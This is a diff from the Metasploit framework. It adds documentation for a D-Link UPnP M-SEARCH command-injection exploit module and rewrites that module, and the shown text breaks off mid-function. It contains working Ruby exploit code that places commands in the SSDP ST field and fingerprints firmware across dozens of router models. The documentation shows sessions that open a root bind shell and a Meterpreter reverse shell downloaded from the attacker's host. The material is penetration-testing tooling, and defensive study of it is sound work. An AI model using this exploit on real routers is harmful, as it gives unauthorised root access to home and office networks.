diff --git a/documentation/modules/exploit/linux/upnp/dlink_upnp_msearch_exec.md b/documentation/modules/exploit/linux/upnp/dlink_upnp_msearch_exec.md new file mode 100644 index 000000000000..0046bc768822 --- /dev/null +++ b/documentation/modules/exploit/linux/upnp/dlink_upnp_msearch_exec.md @@ -0,0 +1,267 @@ +## Vulnerable Application +This vulnerability is based on an old theme that was discovered in 2013 by `Zach Cutlip` and explained in +his blog [The Shadow File](https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html). +It is based on the infamous `UPnP` attack where a command injection vulnerability exists in multiple D-Link network products, +allowing an attacker to inject arbitrary command to the `UPnP` via a crafted M-SEARCH packet. +Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900 and an attacker can perform +a remote command execution by injecting the payload into the `Search Target` (ST) field of the SSDP M-SEARCH discover packet. + +## Installation +Ideally, to test this module, you would need a vulnerable D-Link device. +However, by downloading the firmware and install and use `FirmAE` to emulate the router, +we can simulate the router and test the vulnerable endpoint. + +This module has been tested on: +- [ ] FirmAE running on Kali Linux 2023.3 +* D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older; +* D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older; +* D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older; +* D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older; +* D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older; +* D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older; +* D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older; +* D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older; +* D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older; +* D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older; +* D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older; +* D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older; +* D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older; +* D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older; +* D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older; +* D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older; +* D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older; +* D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older; +* D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older; +* D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older; +* D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older; +* D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older; +* D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older; +* D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older; +* probably more looking at the scale of impacted devices :-( + +### Installation steps to emulate the router firmware with FirmAE +* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE). +* To emulate the specific firmware that comes with the D-Link devices, `binwalk` might need to be able to handle a sasquatch filesystem. +* Follow installation and compilation steps that you can find [here](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689). +* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware. +* Download the vulnerable firmware from D-Link [here](http://legacyfiles.us.dlink.com/). +* Pick `DIR-865L_REVA_FIRMWARE_1.07.B01.ZIP` for the demonstration. +* Start emulation. +* First run `./init.sh` to initialize and start the Postgress database. +* Start a debug session `./run.sh -d d-link /root/FirmAE/firmwares/DIR-865L_REVA_FIRMWARE_1.07.B01.ZIP` +* This will take a while, but in the end you should see the following... + +```shell +[*] /root/FirmAE/firmwares/DIR-865L_REVA_FIRMWARE_1.07.B01.ZIP emulation start!!! +[*] extract done!!! +[*] get architecture done!!! +mke2fs 1.47.0 (5-Feb-2023) +e2fsck 1.47.0 (5-Feb-2023) +[*] infer network start!!! + +[IID] 25 +[MODE] debug +[+] Network reachable on 192.168.0.1! +[+] Web service on 192.168.0.1 +[+] Run debug! +Creating TAP device tap25_0... +Set 'tap25_0' persistent and owned by uid 0 +Initializing VLAN... +Bringing up TAP device... +Starting emulation of firmware... 192.168.0.1 true true 60.479548271 107.007791943 +/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 + import telnetlib +[*] firmware - DIR600B6_FW215WWb02 +[*] IP - 192.168.0.1 +[*] connecting to netcat (192.168.0.1:31337) +[+] netcat connected +------------------------------ +| FirmAE Debugger | +------------------------------ +1. connect to socat +2. connect to shell +3. tcpdump +4. run gdbserver +5. file transfer +6. exit +> 2 +Trying 192.168.0.1... +Connected to 192.168.0.1. +Escape character is '^]'. + +/ # uname -a +Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux +/ # hostname +dlinkrouter +/ # +``` + +* You should now be able to `ping` the network address 192.168.0.1 from your host and +* run a `nmap` command to check the services (HTTP TCP port 80 and UPNP UDP port 1900) + +```shell + # ping 192.168.0.1 +PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data. +64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=8.92 ms +64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=2.38 ms +^C +--- 192.168.0.1 ping statistics --- +2 packets transmitted, 2 received, 0% packet loss, time 1001ms +rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms + # nmap 192.168.0.1 +Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 18:33 UTC +Nmap scan report for 192.168.0.1 +Host is up (0.022s latency). +Not shown: 995 closed tcp ports (reset) +PORT STATE SERVICE +53/tcp open domain +80/tcp open http +443/tcp open https +8181/tcp open intermapper +49152/tcp open unknown +MAC Address: 00:DE:FA:1A:01:00 (Unknown) + +Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds + # nmap -sU 192.168.0.1 +Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-17 18:34 UTC +Nmap scan report for 192.168.0.1 +Host is up (0.0019s latency). +Not shown: 993 closed udp ports (port-unreach) +PORT STATE SERVICE +53/udp open domain +67/udp open|filtered dhcps +137/udp open|filtered netbios-ns +1900/udp open|filtered upnp +5353/udp open zeroconf +5355/udp open|filtered llmnr +19541/udp open|filtered jcp +MAC Address: 00:DE:FA:1A:01:00 (Unknown) + +Nmap done: 1 IP address (1 host up) scanned in 1054.98 seconds +``` +You are now ready to test the module using the emulated router hardware on IP address 192.168.0.1. + +## Verification Steps +- [x] Start `msfconsole` +- [x] `use exploit/linux/upnp/dlink_upnp_msearch_exec` +- [x] `set rhosts ` +- [x] `set rport 1900` +- [x] `set http_port 80` +- [x] `set lhost ` +- [x] `set target <0=Unix Command, 1=Linux Dropper>` +- [x] `exploit` + +you should get a `shell` or `Meterpreter` + +```shell +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > options + +Module options (exploit/linux/upnp/dlink_upnp_msearch_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 1900 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + HTTP_PORT 80 yes Universal Plug and Play (UPnP) UDP port + URIPATH no The URI to use for this exploit (default is random) + URN urn:device:1 no Set URN payload + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (cmd/unix/bind_busybox_telnetd): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LOGIN_CMD /bin/sh yes Command telnetd will execute on connect + LPORT 4444 yes The listen port + RHOST 192.168.0.1 no The target address + + +Exploit target: + + Id Name + -- ---- + 0 Unix Command + + +View the full module info with the info, or info -d command. +``` + +## Options +### HTTP_PORT +Port setting where the HTTP and SOAP service is running, typically port 80. +This is used to discover the d-link hardware and version information by scraping the web or soap response. + +## Scenarios +### FirmAE D-Link DIR-865L Router Emulation Unix Command - cmd/unix/bind_busybox_telnetd +```shell +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > check + +[*] Checking if 192.168.0.1:1900 can be exploited. +[*] 192.168.0.1:1900 - The target appears to be vulnerable. Product info: DIR-865L|1.07|A1|mipsle +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > exploit + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.0.1:1900 can be exploited. +[+] The target appears to be vulnerable. Product info: DIR-865L|1.07|A1|mipsle +[*] Executing Unix Command for cmd/unix/bind_busybox_telnetd +[*] Started bind TCP handler against 192.168.0.1:4444 +[*] Command shell session 1 opened (192.168.0.2:42349 -> 192.168.0.1:4444) at 2023-10-17 18:35:36 +0000 + +Shell Banner: +_!_ + + # uname -a +uname -a +Linux dlinkrouter 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux + # hostname +hostname +dlinkrouter + # +``` +### FirmAE D-Link DIR-865L Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp +```shell +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set target 1 +target => 1 +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set payload linux/mipsle/meterpreter_reverse_tcp +payload => linux/mipsle/meterpreter_reverse_tcp +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > set lhost 192.168.0.2 +lhost => 192.168.0.2 +msf6 exploit(linux/upnp/dlink_upnp_msearch_exec) > exploit + +[*] Started reverse TCP handler on 192.168.0.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.0.1:1900 can be exploited. +[+] The target appears to be vulnerable. Product info: DIR-865L|1.07|A1|mipsle +[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp +[*] Using URL: http://192.168.0.2:8080/5W7O47FX +[*] Command Stager progress - 100.00% done (112/112 bytes) +[*] Client 192.168.0.1 (Wget) requested /5W7O47FX +[*] Sending payload to 192.168.0.1 (Wget) +[*] Meterpreter session 2 opened (192.168.0.2:4444 -> 192.168.0.1:59600) at 2023-10-17 18:45:12 +0000 +[*] Server stopped. + +meterpreter > sysinfo +Computer : 192.168.0.1 +OS : (Linux 4.1.17+) +Architecture : mips +BuildTuple : mipsel-linux-muslsf +Meterpreter : mipsle/linux +meterpreter > getuid +Server username: root +meterpreter > +``` +## Limitations +Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads when using the Linux Dropper target. +Some D-Link devices do not have the `wget` command so configure `echo` as cmd-stager flavor with the command `set CMDSTAGER::FLAVOR echo`. diff --git a/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb b/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb index 6cf8b68fe72a..86864f57f1f0 100644 --- a/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb +++ b/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb @@ -8,6 +8,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Udp include Msf::Exploit::CmdStager + include Msf::Module::Deprecated + + deprecated(Date.new(2023, 12, 1), 'exploit/linux/upnp/dlink_upnp_msearch_exec') def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb index 80e064204fb3..68456d20789d 100644 --- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb @@ -6,142 +6,377 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::Udp + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection', - 'Description' => %q{ - Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast - requests. This module has been tested on DIR-300 and DIR-645 devices. Zachary Cutlip - has initially reported the DIR-815 vulnerable. Probably there are other devices also - affected. - }, - 'Author' => - [ - 'Zachary Cutlip', # Vulnerability discovery and initial exploit - 'Michael Messner ' # Metasploit module and verification on other routers + super( + update_info( + info, + 'Name' => 'D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.', + 'Description' => %q{ + A command injection vulnerability exists in multiple D-Link network products, allowing an attacker + to inject arbitrary command to the UPnP via a crafted M-SEARCH packet. + Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900. + An attacker can perform a remote command execution by injecting the payload into the + `Search Target` (ST) field of the SSDP M-SEARCH discover packet. + After successful exploitation, an attacker will have full access with `root` user privileges. + + NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads + when using the Linux Dropper target. Some D-Link devices do not have the `wget` command so + configure `echo` as flavor with the command set CMDSTAGER::FLAVOR echo. + + The following D-Link network products and firmware are vulnerable: + - D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01 or older; + - D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older; + - D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older; + - D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older; + - D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older; + - D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older; + - D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older; + - D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older; + - D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older; + - D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older; + - D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older; + - D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older; + - D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older; + - D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older; + - D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older; + - D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older; + - D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older; + - D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older; + - D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older; + - D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older; + - D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older; + - D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older; + - D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older; + - D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older; + - D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older; + - probably more looking at the scale of impacted devices :-( + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'Zach Cutlip', # Discovery of the vulnerability + 'Michael Messner ', + 'Miguel Mendez Z. (s1kr10s)', + 'Pablo Pollanco (secenv)', + 'Naihsin https://github.com/naihsin' + ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit - ['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit + 'References' => [ + ['CVE', '2023-33625'], + ['CVE', '2020-15893'], + ['CVE', '2019-20215'], + ['URL', 'https://attackerkb.com/topics/uqicA23ecz/cve-2023-33625'], + ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], + ['URL', 'https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73'], + ['URL', 'https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'], + ['URL', 'https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/'], + ['URL', 'https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md'] ], - 'DisclosureDate' => '2013-02-01', - 'Privileged' => true, - 'Targets' => - [ - [ 'MIPS Little Endian', + 'DisclosureDate' => '2013-02-01', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', { - 'Platform' => 'linux', - 'Arch' => ARCH_MIPSLE + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd' + } } ], - [ 'MIPS Big Endian', # unknown if there are big endian devices out there + [ + 'Linux Dropper', { 'Platform' => 'linux', - 'Arch' => ARCH_MIPSBE + 'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['echo', 'wget'], + 'Linemax' => 900, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp' + } } ] ], - 'DefaultTarget' => 0 - )) + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 1900, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('URN', [true, 'Set URN payload', 'urn:device:1']), + OptPort.new('HTTP_PORT', [true, 'The HTTP port for the HTTP and SOAP requests sent to detect versions', 80]) + ]) + end - register_options( - [ - Opt::RHOST(), - Opt::RPORT(1900) - ]) + def vuln_version?(res) + # checks the model, firmware and hardware version + @d_link = { 'product' => nil, 'firmware' => nil, 'hardware' => nil, 'arch' => nil } + html = Nokogiri.HTML(res.body, nil, 'UTF-8') - deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') - end + # USE CASE #1: D-link devices with static HTML pages with model and version information + # class identifiers: , and + # See USE CASE #4 for D-link devices that use javascript to dynamically generate the model and firmware version + product = html.css('span[@class="product"]') + @d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil? + firmware = html.css('span[@class="version"]') + @d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil? - def check - configure_socket - - pkt = - "M-SEARCH * HTTP/1.1\r\n" + - "Host:239.255.255.250:1900\r\n" + - "ST:upnp:rootdevice\r\n" + - "Man:\"ssdp:discover\"\r\n" + - "MX:2\r\n\r\n" - - udp_sock.sendto(pkt, rhost, rport, 0) - - res = nil - 1.upto(5) do - res,_,_ = udp_sock.recvfrom(65535, 1.0) - break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi - udp_sock.sendto(pkt, rhost, rport, 0) + # DIR-600, DIR-300 hardware B revision and maybe other models are using the "version" class tag for both firmware and hardware version + @d_link['hardware'] = firmware[1].text.split(':')[1].strip unless firmware[1].nil? + # otherwise search for the "hwversion" class tag + hardware = html.css('span[@class="hwversion"]') + @d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil? + + # USE CASE #2: D-link devices with static HTML pages with model and version information + # class identifiers:
,
and
+ if @d_link['product'].nil? + product = html.css('div[@class="pp"]') + @d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil? + firmware = html.css('div[@class="fwv"]') + @d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil? + hardware = html.css('div[@class="hwv"]') + @d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil? end - # UPnP response: - # [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1 - # we do not check for the Device ID (DIR-645) and for the firmware version because there are different - # dlink devices out there and we do not know all the vulnerable versions + # USE CASE #3: D-link devices with html below for model, firmware and hardware version + # Product Page : DIR-300    + # Hardware Version : rev N/A  + # Firmware Version : 1.06  + if @d_link['product'].nil? + hwinfo_table = html.css('td') + hwinfo_table.each do |hwinfo| + @d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Product Page/i || hwinfo.text =~ /Product/i + @d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Hardware Version/i + @d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Firmware Version/i + end + end - if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi - return Exploit::CheckCode::Detected + # USE CASE #4: D-Link devices with HTML listed below that contains the model, firmware and hardware version + # + # + # + # + # + # + # + #
  : DIR-835: A1  : 1.04 
+ if @d_link['product'].nil? + hwinfo_table = html.css('table#header_container td') + hwinfo_table.each do |hwinfo| + @d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA2\)/i + @d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA3\)/i + @d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(sd_FWV\)/i + end end - Exploit::CheckCode::Unknown - end + # USE CASE #5: D-Link devices with dynamically generated version and hardware information + # Create HNAP POST request to get these hardware details + if @d_link['product'].nil? + xml_soap_data = <<~EOS + + + + + + + EOS + res = send_request_cgi({ + 'rport' => datastore['HTTP_PORT'], + 'method' => 'POST', + 'ctype' => 'text/xml', + 'uri' => normalize_uri(target_uri.path, 'HNAP1', '/'), + 'data' => xml_soap_data.to_s, + 'headers' => { + 'SOAPACTION' => '"http://purenetworks.com/HNAP1/GetDeviceSettings"' + } + }) + if res && res.code == 200 && res.body.include?('OK') + xml = res.get_xml_document + unless xml.blank? + xml.remove_namespaces! + @d_link['product'] = xml.css('ModelName').text + @d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ') + @d_link['hardware'] = xml.css('HardwareVersion').text + end + end + end - def execute_command(cmd, opts) - configure_socket + # USE CASE #6: D-Link devices with dynamically generated version and hardware information + # Create a DHMAPI POST request to get these hardware details + if @d_link['product'].nil? + xml_soap_data = <<~EOS + + + + + + + EOS + res = send_request_cgi({ + 'rport' => datastore['HTTP_PORT'], + 'method' => 'POST', + 'ctype' => 'text/xml', + 'uri' => normalize_uri(target_uri.path, 'DHMAPI', '/'), + 'data' => xml_soap_data.to_s, + 'headers' => { + 'API-ACTION' => 'GetDeviceSettings' + } + }) + if res && res.code == 200 && res.body.include?('OK') + xml = res.get_xml_document + unless xml.blank? + xml.remove_namespaces! + @d_link['product'] = xml.css('ModelName').text + @d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ') + @d_link['hardware'] = xml.css('HardwareVersion').text + end + end + end - pkt = - "M-SEARCH * HTTP/1.1\r\n" + - "Host:239.255.255.250:1900\r\n" + - "ST:uuid:`#{cmd}`\r\n" + - "Man:\"ssdp:discover\"\r\n" + - "MX:2\r\n\r\n" + # check the vulnerable product and firmware versions + case @d_link['product'] + when 'GO-RT-AC750' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.01') && @d_link['hardware'][0] == 'A' + when 'DIR-300' + if Rex::Version.new(@d_link['firmware']) >= Rex::Version.new('2.00') && Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.15') # hardware version B + @d_link['arch'] = 'mipsle' + return true + elsif Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') # hardware version A + @d_link['arch'] = 'mipsbe' + return true + end + when 'DIR-600' + @d_link['arch'] = 'mipsle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.18') && @d_link['hardware'][0] == 'B' + when 'DIR-645' + @d_link['arch'] = 'mipsle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') + when 'DIR-815' + @d_link['arch'] = 'mipsle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') + when 'DIR-816L' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.06') && (@d_link['hardware'][0] == 'B' || @d_link['hardware'] == 'N/A') + when 'DIR-817LW' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') + when 'DIR-818LW', 'DIR-818L' + @d_link['arch'] = 'mipsbe' + return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.04') && @d_link['hardware'][0] == 'B' - udp_sock.sendto(pkt, rhost, rport, 0) - end + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && @d_link['hardware'][0] == 'A' + when 'DIR-822' + @d_link['arch'] = 'mipsbe' + return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B' - def exploit - print_status("#{peer} - Trying to access the device via UPnP ...") + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('3.12') && @d_link['hardware'][0] == 'C' + when 'DIR-823' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.00') && @d_link['hardware'][0] == 'A' + when 'DIR-845L' + @d_link['arch'] = 'mipsle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.02') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') + when 'DIR-850L' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') + when 'DIR-859' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') && @d_link['hardware'][0] == 'A' + when 'DIR-860L' + @d_link['arch'] = 'armle' + return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.10') && @d_link['hardware'][0] == 'A' - unless check == Exploit::CheckCode::Detected - fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") - end + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B' + when 'DIR-865L' + @d_link['arch'] = 'mipsle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.07') && @d_link['hardware'][0] == 'A' + when 'DIR-868L' + @d_link['arch'] = 'armle' + return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A' - print_status("#{peer} - Exploiting...") - execute_cmdstager( - :flavor => :echo, - :linemax => 950 - ) + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.05') && @d_link['hardware'][0] == 'B' + when 'DIR-869' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.03') && @d_link['hardware'][0] == 'A' + when 'DIR-880L' + @d_link['arch'] = 'armle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.08') && @d_link['hardware'][0] == 'A' + when 'DIR-890L', 'DIR-890R' + @d_link['arch'] = 'armle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.11') && @d_link['hardware'][0] == 'A' + when 'DIR-885L', 'DIR-885R' + @d_link['arch'] = 'armle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A' + when 'DIR-895L', 'DIR-895R' + @d_link['arch'] = 'armle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A' + end + false end - # the packet stuff was taken from the module miniupnpd_soap_bof.rb - # We need an unconnected socket because SSDP replies often come - # from a different sent port than the one we sent to. This also - # breaks the standard UDP mixin. - def configure_socket - self.udp_sock = Rex::Socket::Udp.create({ - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - }) - add_socket(self.udp_sock) + def execute_command(cmd, _opts = {}) + payload = "#{datastore['URN']};`#{cmd}`" + + connect_udp + header = "M-SEARCH * HTTP/1.1\r\n" + header << 'HOST:' + datastore['RHOST'].to_s + ':' + datastore['RPORT'].to_s + "\r\n" + header << "ST:#{payload}\r\n" + header << "MX:2\r\n" + header << "MAN:\"ssdp:discover\"\r\n\r\n" + udp_sock.put(header) + disconnect_udp end - # Need to define our own rhost/rport/peer since we aren't - # using the normal mixins + def check + print_status("Checking if #{peer} can be exploited.") + res = send_request_cgi!({ + 'rport' => datastore['HTTP_PORT'], + 'method' => 'GET', + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path) + }) + # Check if target is a D-Link network device + return CheckCode::Unknown('No response received from target.') unless res + return CheckCode::Safe('Likely not a D-Link network device.') unless res.code == 200 && 